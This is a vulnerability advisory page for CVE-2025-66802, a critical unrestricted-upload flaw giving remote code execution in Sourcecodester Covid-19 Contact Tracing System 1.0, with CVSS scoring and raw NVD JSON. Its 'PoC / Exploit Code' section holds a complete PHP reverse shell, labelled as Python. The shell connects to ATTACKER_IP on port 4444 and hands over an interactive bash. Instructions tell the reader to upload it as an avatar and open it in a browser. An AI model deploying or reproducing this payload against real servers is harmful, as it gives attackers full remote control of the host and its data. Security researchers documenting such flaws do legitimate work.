Security Vulnerability Report
中文
CVE-2025-66802 CVSS 9.8 CRITICAL

CVE-2025-66802

Published: 2026-01-12 20:15:53
Last Modified: 2026-01-22 15:56:21

Description

Sourcecodester Covid-19 Contact Tracing System 1.0 is vulnerable to RCE (Remote Code Execution). The application receives a reverse shell (php) into imagem of the user enabling RCE.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:covid-19_contact_tracing_system_project:covid-19_contact_tracing_system:1.0:*:*:*:*:*:*:* - VULNERABLE
Sourcecodester Covid-19 Contact Tracing System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // PHP Reverse Shell for CVE-2025-66802 // Target: Sourcecodester Covid-19 Contact Tracing System 1.0 // Usage: Upload this file as user avatar, then access it via web browser $ip = 'ATTACKER_IP'; // Change to attacker IP $port = 4444; // Change to attacker listening port $chunk_size = 4096; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/bash -i'; $sock = fsockopen($ip, $port); $descriptorspec = array( 0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w') ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); while (true) { if (feof($sock) || feof($pipes[1])) break; $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { $input = fread($sock, $chunk_size); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { $input = fread($pipes[1], $chunk_size); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { $input = fread($pipes[2], $chunk_size); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66802", "sourceIdentifier": "[email protected]", "published": "2026-01-12T20:15:53.060", "lastModified": "2026-01-22T15:56:20.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sourcecodester Covid-19 Contact Tracing System 1.0 is vulnerable to RCE (Remote Code Execution). The application receives a reverse shell (php) into imagem of the user enabling RCE."}, {"lang": "es", "value": "Sourcecodester Covid-19 Contact Tracing System 1.0 es vulnerable a RCE (ejecución remota de código). La aplicación recibe una shell inversa (PHP) en la imagen del usuario, lo que permite la RCE."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:covid-19_contact_tracing_system_project:covid-19_contact_tracing_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "52A814D0-E671-4216-A115-E3E3766D01B3"}]}]}], "references": [{"url": "https://feedly.com/cve/CVE-2022-2746", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/mtgsjr/CVE-2025-66802", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}